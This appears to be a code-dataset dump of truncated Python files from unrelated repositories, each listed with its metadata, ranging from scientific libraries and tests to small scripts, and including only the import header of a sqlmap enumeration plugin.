akankshadiwedy/t2wml
02f60611eec19d10a92fd2cb06f07339cd2cb269
[ "MIT" ]
null
null
null
bindings = { "$col": None, "$row": None, "$left": None, "$right": None, "$top": None, "$bottom": None, "excel_sheet": None, "item_table": None, "created_by": None, "code": None }
16.846154
24
0.488584
bindings = { "$col": None, "$row": None, "$left": None, "$right": None, "$top": None, "$bottom": None, "excel_sheet": None, "item_table": None, "created_by": None, "code": None }
true
true
1c3391056e78312935375ca84db34f34357fc24e
3,314
py
Python
src/utils.py
jcboyd/cyclegan-roi
f0c80c6122d17406f5282f58ea09abaf2b70c388
[ "BSD-2-Clause" ]
null
null
null
src/utils.py
jcboyd/cyclegan-roi
f0c80c6122d17406f5282f58ea09abaf2b70c388
[ "BSD-2-Clause" ]
null
null
null
src/utils.py
jcboyd/cyclegan-roi
f0c80c6122d17406f5282f58ea09abaf2b70c388
[ "BSD-2-Clause" ]
null
null
null
import numpy as np import torch from torch.nn import UpsamplingNearest2d, UpsamplingBilinear2d from rectpack import newPacker def get_mnist_canvas(images, labels, nb_classes=10, dim=128): canvas = -torch.ones((dim, dim)) noise_canvas = torch.zeros((nb_classes, dim, dim)) condition_canvas = torch.zeros((...
31.561905
85
0.610441
import numpy as np import torch from torch.nn import UpsamplingNearest2d, UpsamplingBilinear2d from rectpack import newPacker def get_mnist_canvas(images, labels, nb_classes=10, dim=128): canvas = -torch.ones((dim, dim)) noise_canvas = torch.zeros((nb_classes, dim, dim)) condition_canvas = torch.zeros((...
true
true
1c33916ee264c79fbaa5784392a842d3ae69941f
1,791
py
Python
uri/1048_aumento_salario.py
thekilian/Python-pratica
875661addd5b8eb4364bc638832c7ab55dcefce4
[ "MIT" ]
null
null
null
uri/1048_aumento_salario.py
thekilian/Python-pratica
875661addd5b8eb4364bc638832c7ab55dcefce4
[ "MIT" ]
null
null
null
uri/1048_aumento_salario.py
thekilian/Python-pratica
875661addd5b8eb4364bc638832c7ab55dcefce4
[ "MIT" ]
null
null
null
''' A empresa ABC resolveu conceder um aumento de salários a seus funcionários de acordo com a tabela abaixo: | Salário | Percentual de reajuste | | ----------------- | ---------------------- | | 0 - 400.00 | 15% | | 400.01 - 800.00 | 12% | | 800.01 - 1200.00 ...
33.792453
137
0.487437
salario = float(input()) if salario > 0 and salario <= 400.00: reaj = salario * 0.15 perc = 15 elif salario >= 400.01 and salario <= 800.00: reaj = salario * 0.12 perc = 12 elif salario >= 800.01 and salario <= 1200.00: reaj = salario * 0.1 perc = 10 elif salario >= 1200.01 and salario <= 200...
true
true
1c3391bb5056d6b61b8866c71a4dff48e53c8011
14,150
py
Python
.ci/gitlab/template.ci.py
kinnala/pymor
9d2a8ee5f7a71482e62952257332d269d50678e9
[ "Unlicense" ]
null
null
null
.ci/gitlab/template.ci.py
kinnala/pymor
9d2a8ee5f7a71482e62952257332d269d50678e9
[ "Unlicense" ]
36
2020-06-12T07:36:49.000Z
2022-03-29T14:06:48.000Z
.ci/gitlab/template.ci.py
kinnala/pymor
9d2a8ee5f7a71482e62952257332d269d50678e9
[ "Unlicense" ]
null
null
null
#!/usr/bin/env python3 import os import jinja2 from pathlib import Path # python3 only from dotenv import dotenv_values import sys import gitlab from itertools import product tpl = r'''# THIS FILE IS AUTOGENERATED -- DO NOT EDIT # # Edit and Re-run .ci/gitlab/template.ci.py instead # stages: - sanity - ...
29.852321
120
0.60735
import os import jinja2 from pathlib import Path from dotenv import dotenv_values import sys import gitlab from itertools import product tpl = r'''# THIS FILE IS AUTOGENERATED -- DO NOT EDIT # # Edit and Re-run .ci/gitlab/template.ci.py instead # stages: - sanity - test - build - install_checks ...
true
true
1c3392e6c9028b64b4c55b56789f2ea41763f5d4
690
py
Python
tests/integration/announce/discord/helpers.py
GSH-LAN/byceps
ab8918634e90aaa8574bd1bb85627759cef122fe
[ "BSD-3-Clause" ]
33
2018-01-16T02:04:51.000Z
2022-03-22T22:57:29.000Z
tests/integration/announce/discord/helpers.py
GSH-LAN/byceps
ab8918634e90aaa8574bd1bb85627759cef122fe
[ "BSD-3-Clause" ]
7
2019-06-16T22:02:03.000Z
2021-10-02T13:45:31.000Z
tests/integration/announce/discord/helpers.py
GSH-LAN/byceps
ab8918634e90aaa8574bd1bb85627759cef122fe
[ "BSD-3-Clause" ]
14
2019-06-01T21:39:24.000Z
2022-03-14T17:56:43.000Z
""" :Copyright: 2006-2021 Jochen Kupperschmidt :License: Revised BSD (see `LICENSE` file for details) """ from contextlib import contextmanager from datetime import datetime from http import HTTPStatus from requests_mock import Mocker def now() -> datetime: return datetime.utcnow() @contextmanager def mocked_...
20.909091
57
0.726087
from contextlib import contextmanager from datetime import datetime from http import HTTPStatus from requests_mock import Mocker def now() -> datetime: return datetime.utcnow() @contextmanager def mocked_webhook_receiver(url: str): with Mocker() as mock: mock.post(url, status_code=HTTPStatus.NO_CO...
true
true
1c3393cf1f4fce02e2eec81b119a7656e4dd6b91
6,401
py
Python
rabbittop/_rabbitmq.py
jve/rabbittop
1cac40f66135cff5433e3d6fac99cd0898a927de
[ "MIT" ]
1
2019-08-19T19:30:06.000Z
2019-08-19T19:30:06.000Z
rabbittop/_rabbitmq.py
jve/rabbittop
1cac40f66135cff5433e3d6fac99cd0898a927de
[ "MIT" ]
null
null
null
rabbittop/_rabbitmq.py
jve/rabbittop
1cac40f66135cff5433e3d6fac99cd0898a927de
[ "MIT" ]
null
null
null
""" RabbitMQ API """ import httplib import base64 import os import json import collections import datetime import logging _log = logging.getLogger() # Use urllib.extra_quote to deal with weird names def overview(host, user, password, port): return dict(_create_http_client(host, user, password, port, 'overview'...
35.759777
111
0.612248
import httplib import base64 import os import json import collections import datetime import logging _log = logging.getLogger() def overview(host, user, password, port): return dict(_create_http_client(host, user, password, port, 'overview')) def status(host, user, password, port, node_name=None): if nod...
true
true
1c3394928c52fedcbcc3da1f0b982b0115c87fd9
3,783
py
Python
helper.py
ypislon/bachelorarbeit
2e1d07d667d505a79d1adb9363cec5d21dafe832
[ "MIT" ]
null
null
null
helper.py
ypislon/bachelorarbeit
2e1d07d667d505a79d1adb9363cec5d21dafe832
[ "MIT" ]
null
null
null
helper.py
ypislon/bachelorarbeit
2e1d07d667d505a79d1adb9363cec5d21dafe832
[ "MIT" ]
null
null
null
from datetime import date, datetime, timedelta from db_schema import Link from lxml import html from io import StringIO from urllib.parse import urljoin, urlparse import logging def parse_articles_url(website): url_fragment = website.article_page urls = list() urls.append(url_fragment) if "$c$" in url_...
34.081081
102
0.564896
from datetime import date, datetime, timedelta from db_schema import Link from lxml import html from io import StringIO from urllib.parse import urljoin, urlparse import logging def parse_articles_url(website): url_fragment = website.article_page urls = list() urls.append(url_fragment) if "$c$" in url_...
true
true
1c3394b0fdf1cb4f0d0ea09c509138088e5bae0f
926
py
Python
python/algs/utils/analytic_functions.py
kumaratinfy/Problem-Solving
be9e3b8a630e4126f150b9e7f03c2f3290ba3255
[ "MIT" ]
null
null
null
python/algs/utils/analytic_functions.py
kumaratinfy/Problem-Solving
be9e3b8a630e4126f150b9e7f03c2f3290ba3255
[ "MIT" ]
null
null
null
python/algs/utils/analytic_functions.py
kumaratinfy/Problem-Solving
be9e3b8a630e4126f150b9e7f03c2f3290ba3255
[ "MIT" ]
null
null
null
import time def timedcall(fn, *args): t0 = time.clock() result = fn(*args) t1 = time.clock() return t1-t0, result def average(numbers): return sum(numbers)/float(len(numbers)) def timedcalls(n, fn, *args): if isinstance(n, int): times = [timedcall(fn, *args)[0] for _ in range(n)] ...
26.457143
70
0.597192
import time def timedcall(fn, *args): t0 = time.clock() result = fn(*args) t1 = time.clock() return t1-t0, result def average(numbers): return sum(numbers)/float(len(numbers)) def timedcalls(n, fn, *args): if isinstance(n, int): times = [timedcall(fn, *args)[0] for _ in range(n)] ...
false
true
1c3394d89f14bc25458db3b830953f77ae6fec43
6,005
py
Python
treex/losses/mean_absolute_percentage_error.py
ptigwe/treex
c46687376ccc50c8fea6cb8617e22e4b4dd1924a
[ "MIT" ]
null
null
null
treex/losses/mean_absolute_percentage_error.py
ptigwe/treex
c46687376ccc50c8fea6cb8617e22e4b4dd1924a
[ "MIT" ]
null
null
null
treex/losses/mean_absolute_percentage_error.py
ptigwe/treex
c46687376ccc50c8fea6cb8617e22e4b4dd1924a
[ "MIT" ]
null
null
null
import typing as tp import jax.numpy as jnp from treex import types, utils from treex.losses.loss import Loss, Reduction def mean_absolute_percentage_error( target: jnp.ndarray, preds: jnp.ndarray ) -> jnp.ndarray: """ Computes the mean absolute percentage error (MAPE) between target and pre...
39.506579
134
0.603664
import typing as tp import jax.numpy as jnp from treex import types, utils from treex.losses.loss import Loss, Reduction def mean_absolute_percentage_error( target: jnp.ndarray, preds: jnp.ndarray ) -> jnp.ndarray: target = target.astype(preds.dtype) diff = jnp.abs((preds - target) / jnp.max...
true
true
1c339520bc67e47717c062f56f9d48e1307b4a84
5,979
py
Python
nemo/collections/nlp/nm/trainables/common/huggingface/roberta_nm.py
borisdayma/NeMo
88f6c5b93574adb219185d5ded14b6393c485ea0
[ "Apache-2.0" ]
10
2020-03-17T08:32:06.000Z
2021-04-19T19:03:50.000Z
nemo/collections/nlp/nm/trainables/common/huggingface/roberta_nm.py
dcmartin/NeMo
d2120a40bf23d3e38ff5677c2685c712f297e6b1
[ "Apache-2.0" ]
null
null
null
nemo/collections/nlp/nm/trainables/common/huggingface/roberta_nm.py
dcmartin/NeMo
d2120a40bf23d3e38ff5677c2685c712f297e6b1
[ "Apache-2.0" ]
1
2020-10-21T18:09:46.000Z
2020-10-21T18:09:46.000Z
# ============================================================================= # Copyright 2020 NVIDIA. All Rights Reserved. # Copyright 2018 The Google AI Language Team Authors and # The HuggingFace Inc. team. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in co...
36.457317
109
0.629369
from typing import List, Optional from transformers import ( ROBERTA_PRETRAINED_CONFIG_ARCHIVE_MAP, ROBERTA_PRETRAINED_MODEL_ARCHIVE_MAP, RobertaConfig, RobertaModel, ) from nemo.backends.pytorch.nm import TrainableNM from nemo.core.neural_modules import PretrainedModelInfo from nemo...
true
true
1c33959f6b47a21892dd478875a12725a9158efb
3,090
py
Python
corai_util/finance/src/implied_vol.py
Code-Cornelius/python_libraries
71c388da60e2aeb94369c3813faca93bf6a18ebf
[ "MIT" ]
1
2022-01-01T22:10:04.000Z
2022-01-01T22:10:04.000Z
corai_util/finance/src/implied_vol.py
Code-Cornelius/python_libraries
71c388da60e2aeb94369c3813faca93bf6a18ebf
[ "MIT" ]
null
null
null
corai_util/finance/src/implied_vol.py
Code-Cornelius/python_libraries
71c388da60e2aeb94369c3813faca93bf6a18ebf
[ "MIT" ]
null
null
null
# normal libraries import warnings import numpy as np from scipy.optimize import bisect from scipy.stats import norm # priv_libraries from corai_util.finance.src.bs_model import BlackScholes, BlackScholesVegaCore from corai_util.calculus.src.optimization import newtons_method_vectorised # section #################...
31.530612
111
0.568608
import warnings import numpy as np from scipy.optimize import bisect from scipy.stats import norm from corai_util.finance.src.bs_model import BlackScholes, BlackScholesVegaCore from corai_util.calculus.src.optimization import newtons_method_vectorised
true
true
1c33963ddc2208d0f62dde80080df6d235a6776b
3,576
py
Python
src/util/logging.py
ireina7/gzsl-seg
9aad220274b4a58b59f5da430f873b5dfc21e458
[ "MIT" ]
1
2022-03-15T04:46:00.000Z
2022-03-15T04:46:00.000Z
src/util/logging.py
ireina7/gzsl-seg
9aad220274b4a58b59f5da430f873b5dfc21e458
[ "MIT" ]
null
null
null
src/util/logging.py
ireina7/gzsl-seg
9aad220274b4a58b59f5da430f873b5dfc21e458
[ "MIT" ]
null
null
null
import sys import matplotlib.pyplot as plt from util.typing.basic import * from src.config import * def show_figure_nonblocking() -> None: plt.show(block = False) plt.pause(0.001) #end show_figure_nonblocking def show_figure_blocking() -> None: plt.show() #end show_figure_blocking def show_if(EPOCH: int,...
21.672727
74
0.626957
import sys import matplotlib.pyplot as plt from util.typing.basic import * from src.config import * def show_figure_nonblocking() -> None: plt.show(block = False) plt.pause(0.001) def show_figure_blocking() -> None: plt.show() def show_if(EPOCH: int, LOOP: int): def f(epoch: int, loop: int, call_back...
true
true
1c3396417062d3ec1b72e781ca37319cb0613da5
290
py
Python
django_lightweight_queue/progress_logger.py
thread/django-lightweight-queue
2c67eb13a454fa1a02f8445c26915b6e9261fdad
[ "BSD-3-Clause" ]
23
2015-04-29T04:47:02.000Z
2022-03-11T12:43:01.000Z
django_lightweight_queue/progress_logger.py
thread/django-lightweight-queue
2c67eb13a454fa1a02f8445c26915b6e9261fdad
[ "BSD-3-Clause" ]
23
2015-02-27T14:30:47.000Z
2021-12-02T14:18:34.000Z
django_lightweight_queue/progress_logger.py
thread/django-lightweight-queue
2c67eb13a454fa1a02f8445c26915b6e9261fdad
[ "BSD-3-Clause" ]
1
2015-08-18T12:27:08.000Z
2015-08-18T12:27:08.000Z
from typing import TypeVar, Callable, Iterable, NamedTuple T = TypeVar('T') ProgressLogger = NamedTuple('ProgressLogger', [ ('info', Callable[[str], None]), ('progress', Callable[[Iterable[T]], Iterable[T]]), ]) NULL_PROGRESS_LOGGER = ProgressLogger(lambda x: None, lambda x: x)
26.363636
66
0.696552
from typing import TypeVar, Callable, Iterable, NamedTuple T = TypeVar('T') ProgressLogger = NamedTuple('ProgressLogger', [ ('info', Callable[[str], None]), ('progress', Callable[[Iterable[T]], Iterable[T]]), ]) NULL_PROGRESS_LOGGER = ProgressLogger(lambda x: None, lambda x: x)
true
true
1c3397c90b18c260506989d6c1cb6c79112d4026
82,161
py
Python
slack/web/client.py
sydneyq/Coin-the-Cat
9d24b836941aa9b159d9214f5301e1794bb87c2f
[ "MIT" ]
null
null
null
slack/web/client.py
sydneyq/Coin-the-Cat
9d24b836941aa9b159d9214f5301e1794bb87c2f
[ "MIT" ]
null
null
null
slack/web/client.py
sydneyq/Coin-the-Cat
9d24b836941aa9b159d9214f5301e1794bb87c2f
[ "MIT" ]
null
null
null
"""A Python module for interacting with Slack's Web API.""" import os from asyncio import Future from io import IOBase from typing import Union, List, Optional, Dict import slack.errors as e from slack.web.base_client import BaseClient, SlackResponse from slack.web.classes.views import View class WebClient(BaseClien...
39.768151
120
0.60082
import os from asyncio import Future from io import IOBase from typing import Union, List, Optional, Dict import slack.errors as e from slack.web.base_client import BaseClient, SlackResponse from slack.web.classes.views import View class WebClient(BaseClient): def admin_apps_approve( self, *, app_id: st...
true
true
1c3397cdc024cd5f0e653607da67ecfb3686301f
916
py
Python
aalh_iit_churches_002/populate-subject-column.py
johndewees/iitmigration
4dadfbecda719d6e7d60af076a231aedec3c862f
[ "Unlicense" ]
null
null
null
aalh_iit_churches_002/populate-subject-column.py
johndewees/iitmigration
4dadfbecda719d6e7d60af076a231aedec3c862f
[ "Unlicense" ]
null
null
null
aalh_iit_churches_002/populate-subject-column.py
johndewees/iitmigration
4dadfbecda719d6e7d60af076a231aedec3c862f
[ "Unlicense" ]
null
null
null
from openpyxl import load_workbook filename = 'aalh_iit_churches_002.xlsx' wb = load_workbook(filename) ws = wb['Metadata Template'] minimumcol = 8 maximumcol = 8 minimumrow = 7 maximumrow = 43 iterationrow = 7 descol = 8 subcol = 9 for row in ws.iter_rows(min_row=minimumrow, min_col=minimumcol, max_...
33.925926
105
0.673581
from openpyxl import load_workbook filename = 'aalh_iit_churches_002.xlsx' wb = load_workbook(filename) ws = wb['Metadata Template'] minimumcol = 8 maximumcol = 8 minimumrow = 7 maximumrow = 43 iterationrow = 7 descol = 8 subcol = 9 for row in ws.iter_rows(min_row=minimumrow, min_col=minimumcol, max_...
true
true
1c3397e48e30fc936f6d18f9d7a3a6b56c6b794d
2,551
py
Python
readchip.py
mpratt14/FT232H-flash
bc542460b2bba966db910d21100a3b351c877919
[ "MIT" ]
3
2021-02-11T15:26:02.000Z
2021-07-24T22:03:39.000Z
readchip.py
mpratt14/FT232H-flash
bc542460b2bba966db910d21100a3b351c877919
[ "MIT" ]
null
null
null
readchip.py
mpratt14/FT232H-flash
bc542460b2bba966db910d21100a3b351c877919
[ "MIT" ]
null
null
null
import board as FTDI import busio as Serial import digitalio as GPIO #import time # Variables block_start = 0 numblocks = 256 sector_start = 0 #numsectors = 16 # Configuration CS_pin = FTDI.D7 baudrate = 40000000 # Constants read = 0x03 sector_length = 0x1000 block_sectors = 0x10 sector_pages = 0x10 ...
17.472603
107
0.653469
import board as FTDI import busio as Serial import digitalio as GPIO block_start = 0 numblocks = 256 sector_start = 0 CS_pin = FTDI.D7 baudrate = 40000000 read = 0x03 sector_length = 0x1000 block_sectors = 0x10 sector_pages = 0x10 page_start = 0x00 cell = 0x00 FT232H = Serial.SPI(FTDI.SCL...
true
true
1c3398935e4f1c08d4d352959efa3e27f3ac89e5
1,080
py
Python
filereader.py
lotusronin/EmuMan
decc8e4e3299ed5c52cb699ccdf3d8b1c6113adb
[ "MIT" ]
null
null
null
filereader.py
lotusronin/EmuMan
decc8e4e3299ed5c52cb699ccdf3d8b1c6113adb
[ "MIT" ]
null
null
null
filereader.py
lotusronin/EmuMan
decc8e4e3299ed5c52cb699ccdf3d8b1c6113adb
[ "MIT" ]
null
null
null
# File: filereader.py import configparser import os file_name = os.path.dirname(os.path.abspath(__file__)) + "/config.txt" print(file_name) class FileReader: def read_config(self): try : self.config = configparser.ConfigParser() self.config.readfp(open(file_name)) except IOError: print("Config...
20.769231
70
0.67963
import configparser import os file_name = os.path.dirname(os.path.abspath(__file__)) + "/config.txt" print(file_name) class FileReader: def read_config(self): try : self.config = configparser.ConfigParser() self.config.readfp(open(file_name)) except IOError: print("Config file not found.\nMak...
true
true
1c33991366428f5d52c673c2fea88cb836034b3a
21,097
py
Python
sympy/geometry/tests/test_ellipse.py
CameronKing/sympy
3295b02c617a10ea8db0a070356cc0ba5a3b5121
[ "BSD-3-Clause" ]
2
2019-06-12T16:15:39.000Z
2019-10-06T10:40:59.000Z
sympy/geometry/tests/test_ellipse.py
CameronKing/sympy
3295b02c617a10ea8db0a070356cc0ba5a3b5121
[ "BSD-3-Clause" ]
2
2017-06-29T14:11:05.000Z
2022-01-24T09:28:04.000Z
sympy/geometry/tests/test_ellipse.py
CameronKing/sympy
3295b02c617a10ea8db0a070356cc0ba5a3b5121
[ "BSD-3-Clause" ]
1
2015-09-18T17:27:16.000Z
2015-09-18T17:27:16.000Z
from sympy import Rational, S, Symbol, symbols, pi, sqrt, oo, Point2D, Segment2D, I from sympy.core.compatibility import range from sympy.geometry import (Circle, Ellipse, GeometryError, Line, Point, Polygon, Ray, RegularPolygon, Segment, Triangle, intersection) from sympy.utilities.pytest i...
41.693676
111
0.582026
from sympy import Rational, S, Symbol, symbols, pi, sqrt, oo, Point2D, Segment2D, I from sympy.core.compatibility import range from sympy.geometry import (Circle, Ellipse, GeometryError, Line, Point, Polygon, Ray, RegularPolygon, Segment, Triangle, intersection) from sympy.utilities.pytest i...
true
true
1c33996306856d8ab8db44dd118d4cfa6add1638
8,846
py
Python
tools/sqlmap/plugins/dbms/maxdb/enumeration.py
glaudsonml/kurgan-ai
c0ad4450f9fb2004f35b8a0201bfe894e01adc8f
[ "Apache-2.0" ]
35
2017-05-22T14:42:01.000Z
2020-09-07T21:24:41.000Z
tools/sqlmap/plugins/dbms/maxdb/enumeration.py
tmaxter/kurgan-ai
c0ad4450f9fb2004f35b8a0201bfe894e01adc8f
[ "Apache-2.0" ]
null
null
null
tools/sqlmap/plugins/dbms/maxdb/enumeration.py
tmaxter/kurgan-ai
c0ad4450f9fb2004f35b8a0201bfe894e01adc8f
[ "Apache-2.0" ]
5
2017-12-19T03:36:54.000Z
2021-04-14T18:05:08.000Z
#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.common import Backend from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming from lib...
37.168067
193
0.587723
from lib.core.common import Backend from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger ...
true
true
1c339b096f870231440fe4df89c70a59a71d8ee8
2,741
py
Python
PSO.py
plenoi/EvoloPy
7c943925b9a73ad671735493ce281b67d178dc7c
[ "Apache-2.0" ]
null
null
null
PSO.py
plenoi/EvoloPy
7c943925b9a73ad671735493ce281b67d178dc7c
[ "Apache-2.0" ]
null
null
null
PSO.py
plenoi/EvoloPy
7c943925b9a73ad671735493ce281b67d178dc7c
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- """ Created on Sun May 15 22:37:00 2016 @author: Hossam Faris """ import random import numpy from colorama import Fore, Back, Style from solution import solution import time def PSO(objf,lb,ub,dim,PopSize,iters): # PSO parameters # dim=30 # iters=200 Vmax=6 # PopSi...
24.256637
92
0.484495
import random import numpy from colorama import Fore, Back, Style from solution import solution import time def PSO(objf,lb,ub,dim,PopSize,iters): Vmax=6 wMin=0.2 c1=2 c2=2 s=solution() if not isinstance(lb, list): lb = [lb] * dim if not isinstance(ub, list): ...
true
true
1c339ba67336286373b0d53c302814b598d69ff3
199
py
Python
src/dgl_gcn/gcn/__init__.py
zawaki/nara_revision
28bb42f7ca3a768075748d258c405addc7b28c31
[ "MIT" ]
null
null
null
src/dgl_gcn/gcn/__init__.py
zawaki/nara_revision
28bb42f7ca3a768075748d258c405addc7b28c31
[ "MIT" ]
null
null
null
src/dgl_gcn/gcn/__init__.py
zawaki/nara_revision
28bb42f7ca3a768075748d258c405addc7b28c31
[ "MIT" ]
null
null
null
from gcn.aggregators import * from gcn.model import * from gcn.supervised_train import * from gcn.unsupervised_train import * from gcn.random_walk_train import * from gcn.tensorboard_writer import *
28.428571
36
0.819095
from gcn.aggregators import * from gcn.model import * from gcn.supervised_train import * from gcn.unsupervised_train import * from gcn.random_walk_train import * from gcn.tensorboard_writer import *
true
true
1c339c111d61c125ec834d29e84559a73518fcde
8,544
py
Python
day-28-pomodoro-and-dammits/dammits.py
jskolnicki/100-Days-of-Python
146af2b73914a525121f1c91737abd4857dc2f89
[ "CNRI-Python" ]
null
null
null
day-28-pomodoro-and-dammits/dammits.py
jskolnicki/100-Days-of-Python
146af2b73914a525121f1c91737abd4857dc2f89
[ "CNRI-Python" ]
null
null
null
day-28-pomodoro-and-dammits/dammits.py
jskolnicki/100-Days-of-Python
146af2b73914a525121f1c91737abd4857dc2f89
[ "CNRI-Python" ]
null
null
null
import tkinter import os import pandas as pd import datetime import csv os.chdir(os.path.dirname(__file__)) window = tkinter.Tk() window.title("Dammit Counter") #variables dammits_db = pd.read_csv("dammits.csv") dammits_db['Week'] = pd.to_datetime(dammits_db['Week']) today = datetime.date.today() today = today + ...
37.473684
199
0.684457
import tkinter import os import pandas as pd import datetime import csv os.chdir(os.path.dirname(__file__)) window = tkinter.Tk() window.title("Dammit Counter") dammits_db = pd.read_csv("dammits.csv") dammits_db['Week'] = pd.to_datetime(dammits_db['Week']) today = datetime.date.today() today = today + datetime.t...
true
true
1c339c4341e326d02b8fdd14888075414ef08e24
9,385
py
Python
CarParkArcGisApi/CarParkArcGisApi/env/Lib/site-packages/arcgis/learn/models/_psp_utils.py
moazzamwaheed2017/carparkapi
e52ae1b2aed47321ce9d22ba6cd0b85fa60a417a
[ "MIT" ]
null
null
null
CarParkArcGisApi/CarParkArcGisApi/env/Lib/site-packages/arcgis/learn/models/_psp_utils.py
moazzamwaheed2017/carparkapi
e52ae1b2aed47321ce9d22ba6cd0b85fa60a417a
[ "MIT" ]
9
2020-02-03T15:50:10.000Z
2022-03-02T07:11:34.000Z
CarParkArcGisApi/CarParkArcGisApi/env/Lib/site-packages/arcgis/learn/models/_psp_utils.py
moazzamwaheed2017/carparkapi
e52ae1b2aed47321ce9d22ba6cd0b85fa60a417a
[ "MIT" ]
null
null
null
# MIT License # Copyright (c) 2019 Hengshuang Zhao # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge...
40.106838
156
0.636015
import torch import warnings import PIL import numpy as np from pdb import set_trace import torch.nn.functional as F import torch.nn as nn import torch from torchvision import models import math from fastai.callbacks.hooks import hook_output from fastai.vision.learner import create_body from f...
true
true
1c339d6fee9e1e9192e798a12bd4ddbd28d7495c
1,728
py
Python
e2e_testing/torchscript/xfail_sets.py
edrutte/torch-mlir
87d1af699136452d6f35ff493366d7c872c232ac
[ "Apache-2.0" ]
null
null
null
e2e_testing/torchscript/xfail_sets.py
edrutte/torch-mlir
87d1af699136452d6f35ff493366d7c872c232ac
[ "Apache-2.0" ]
null
null
null
e2e_testing/torchscript/xfail_sets.py
edrutte/torch-mlir
87d1af699136452d6f35ff493366d7c872c232ac
[ "Apache-2.0" ]
null
null
null
# Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. # See https://llvm.org/LICENSE.txt for license information. # SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception # Also available under a BSD-style license. See LICENSE. # This file describes the sets of tests expected to fail for eac...
40.186047
92
0.775463
COMMON_TORCH_MLIR_LOWERING_XFAILS = { "QuantizedMLP_basic", "IouOfModule_basic", } SIZE_ZERO_TENSOR_XFAILS = { "SliceEndSleStartModule_basic", "SliceStartEqEndModule_basic", "SliceOutOfUpperBoundIndexModule_basic", } REFBACKEND_XFAIL_SET = set.union(COMMON_TORCH_MLIR_LOWERING_XFAILS,...
true
true
1c339d79aaf99ccbb8d865aaf4bbf5c885968a6c
32,566
py
Python
python/cudf/cudf/core/reshape.py
BenikaHall/cudf
d3f5add210293a4832dafb85f04cbb73149b9d54
[ "Apache-2.0" ]
null
null
null
python/cudf/cudf/core/reshape.py
BenikaHall/cudf
d3f5add210293a4832dafb85f04cbb73149b9d54
[ "Apache-2.0" ]
1
2021-02-23T18:05:36.000Z
2021-02-23T18:05:36.000Z
python/cudf/cudf/core/reshape.py
BenikaHall/cudf
d3f5add210293a4832dafb85f04cbb73149b9d54
[ "Apache-2.0" ]
1
2020-11-10T03:19:16.000Z
2020-11-10T03:19:16.000Z
# Copyright (c) 2018-2021, NVIDIA CORPORATION. import itertools import numpy as np import pandas as pd import cudf _axis_map = {0: 0, 1: 1, "index": 0, "columns": 1} def _align_objs(objs, how="outer"): """Align a set of Series or Dataframe objects. Parameters ---------- objs : list of DataFrame, ...
30.578404
79
0.543665
import itertools import numpy as np import pandas as pd import cudf _axis_map = {0: 0, 1: 1, "index": 0, "columns": 1} def _align_objs(objs, how="outer"): i_objs = iter(objs) first = next(i_objs) not_matching_index = any( not first.index.equals(rest.index) for rest in i_objs ...
true
true
1c339dfc6796a5e6a419380193c48467dd1213ae
527
py
Python
mlperf/clustering/clustering_dbscan.py
xinyin1990/ml-perf
a5367b41dffe188b3e86fa3e2fcf975bfcd1afb2
[ "MIT" ]
null
null
null
mlperf/clustering/clustering_dbscan.py
xinyin1990/ml-perf
a5367b41dffe188b3e86fa3e2fcf975bfcd1afb2
[ "MIT" ]
null
null
null
mlperf/clustering/clustering_dbscan.py
xinyin1990/ml-perf
a5367b41dffe188b3e86fa3e2fcf975bfcd1afb2
[ "MIT" ]
null
null
null
# This file just defines some values needed for generating tables # cf. Xin for exact implementation # Author: Vincenzo Musco (http://www.vmusco.com) import mlperf.clustering.dbscan.run_base as run from mlperf.clustering.main_clustering import ClusterPipeline from mlperf.tools.static import DBSCAN_ALGO, INCLUDED_ALGO ...
29.277778
65
0.795066
import mlperf.clustering.dbscan.run_base as run from mlperf.clustering.main_clustering import ClusterPipeline from mlperf.tools.static import DBSCAN_ALGO, INCLUDED_ALGO RUN_INFO_BASE = DBSCAN_ALGO AVAIL_ALGOS = INCLUDED_ALGO[RUN_INFO_BASE] class DBSCAN(ClusterPipeline): def __init__(self): super().__...
true
true
1c339e6fcb4a63d8ddb674722578078f4d4353c7
2,689
py
Python
DAAQS/utils/preprocess.py
esowc/DAAQS
141b4d97edb319ab67d9f42a1aa54a4555829de2
[ "MIT" ]
2
2020-07-29T13:23:42.000Z
2020-10-24T08:48:13.000Z
DAAQS/utils/preprocess.py
esowc/DAAQS
141b4d97edb319ab67d9f42a1aa54a4555829de2
[ "MIT" ]
null
null
null
DAAQS/utils/preprocess.py
esowc/DAAQS
141b4d97edb319ab67d9f42a1aa54a4555829de2
[ "MIT" ]
1
2022-03-10T16:12:09.000Z
2022-03-10T16:12:09.000Z
import numpy as np from DAAQS.utils.misc import index_to_center def temporal_average(c_data, o_data, index_lat, index_lon): ## Ideally CAMS data is time_step x 3 x 3 ## And openaq_data is list of all stations in that 3x3 grid ## CAMS Data c_grid = c_data[:,index_lat-1:index_lat+2,index_lon-1:index_...
39.544118
179
0.579769
import numpy as np from DAAQS.utils.misc import index_to_center def temporal_average(c_data, o_data, index_lat, index_lon): in range(8)] for time in range(c_grid.shape[0]): index_time = time%8 cams_list[index_time].append(np.ravel(c_grid[time,:,:])) cams_stack = np.stack(cams_list) ...
true
true
1c339e8dd4fb94aed0b5e311ce5c943fc6ed1452
529
py
Python
bookmarks/services/tags.py
mindovermiles262/linkding
258c47ee7e7834f466e88ce379d5c2b11d461887
[ "MIT" ]
1
2019-12-26T18:50:21.000Z
2019-12-26T18:50:21.000Z
bookmarks/services/tags.py
mindovermiles262/linkding
258c47ee7e7834f466e88ce379d5c2b11d461887
[ "MIT" ]
null
null
null
bookmarks/services/tags.py
mindovermiles262/linkding
258c47ee7e7834f466e88ce379d5c2b11d461887
[ "MIT" ]
null
null
null
from typing import List from django.contrib.auth.models import User from django.utils import timezone from bookmarks.models import Tag def get_or_create_tags(tag_names: List[str], user: User): return [get_or_create_tag(tag_name, user) for tag_name in tag_names] def get_or_create_tag(name: str, user: User): ...
